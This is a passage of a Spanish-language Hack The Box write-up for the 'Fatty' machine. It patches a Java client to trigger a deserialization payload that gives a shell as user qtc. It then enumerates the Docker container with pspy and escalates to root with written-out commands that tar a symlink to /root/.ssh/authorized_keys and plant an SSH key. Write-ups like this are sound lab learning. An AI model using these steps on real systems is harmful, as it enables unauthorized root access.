//      return "Error: Method '" + methodName + "' is not allowed //for this user account";
//    }
//    
//    User user = new User(username, newPassword);
//    ByteArrayOutputStream bOut = new ByteArrayOutputStream();
//    
//
//    try {
//      ObjectOutputStream oOut = new ObjectOutputStream(bOut);
//    oOut.writeObject(user);
//    } catch (IOException e) {
//      e.printStackTrace();
//      return "Failure while serializing user object";
//    } 
//    byte[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray());
    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument("payload");
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
  }

Ahora debemos invocarlo, pero cuando observamos la estructura del código nos damos cuenta de que aun no se implemento el método,por lo cual nosotros debemos implementarlo.

Fatty-Client.jar -> ClientGuiTest.java (eclipse)

1
2
3
4
5
6
7
8
9
//No implementado.
pwChangeButton.addActionListener(new ActionListener(){
       public void actionPerformed(ActionEvent e) {
            JOptionPane.showMessageDialog(passwordChange, "Not implemented yet.", "Error", 0);
            
            passwordChange.setVisible(false);
            controlPanel.setVisible(true);
          }
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//Implementado.
pwChangeButton.addActionListener(new ActionListener(){
      public void actionPerformed(ActionEvent e) {
             String response = "";
             try {
               response = ClientGuiTest.this.invoker.changePW("test","test");
             } 
             catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {JOptionPane.showMessageDialog(controlPanel, "Failure during password Change.", "Error", 0);}
             catch (IOException e2) {JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);} 

             textPane.setText(response);
 
             
             passwordChange.setVisible(false);
             controlPanel.setVisible(true);
       }
 });

Dejamos nuestro netcat a la escucha, nos vamos a profile -> ChangePassword y si damos click en el botón de Change recibimos la conexión como el usuario qtc.

Shell como el usuario qtc.

¡¡Eureka!!

enter image description here

Bien en este punto es fácil darse cuenta de que nos encontramos en un contenedor de docker debido a que el hostname esta medio extraño.

Rápidamente paso un script de enumeración que suelo usar muy amenudo que se llama linux-smart-enumeration para comenzar a enumerar el sistema.

1
2
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... yes!

Vemos que efectivamente estamos en un docker.

Tambien aprovecho para pasarme el pspy y comenzar a ver los procesos del contenedor de docker a ver si vemos algo extraño.

1
2
3
4
5
2020/08/06 19:53:01 CMD: UID=1000 PID=7115   | scp -f /opt/fatty/tar/logs.tar 

2020/08/06 19:54:01 CMD: UID=1000 PID=7238   | scp -f /opt/fatty/tar/logs.tar 

2020/08/06 19:55:02 CMD: UID=1000 PID=7363   | ash -c scp -f /opt/fatty/tar/logs.tar 

Obteniendo shell como root.

Bien al parecer hay una tarea cron ejecutándose a diferentes intervalos de tiempo. así que probablemente esta sea nuestra vía para escalar a root.

Para poder escalar necesitamos crear un enlace simbólico de /root/.ssh/authorized_keys como logs_tar para así de tal manera que cuando se descomprima y se ejecuté nuevamente tomara nuestra clave pública ssh para ser reemplazada en el authorized_keys del usuario root.

1
2
3
4
intrusionz3r0@kali:~$ ln -s /root/.ssh/authorized_keys logs.tar
intrusionz3r0@kali:~$ tar cvf logs_temp.tar logs.tar
intrusionz3r0@kali:~$ cp logs_temp.tar /opt/fatty/tar/logs.tar
intrusionz3r0@kali:~$ cp authorized_keys /opt/fatty/tar/logs.tar
1
intrusionz3r0@kali:~$ ssh root@fatty.htb

¡¡Somos Root!!

Mr.Robot

This post is licensed under CC BY 4.0 by the author.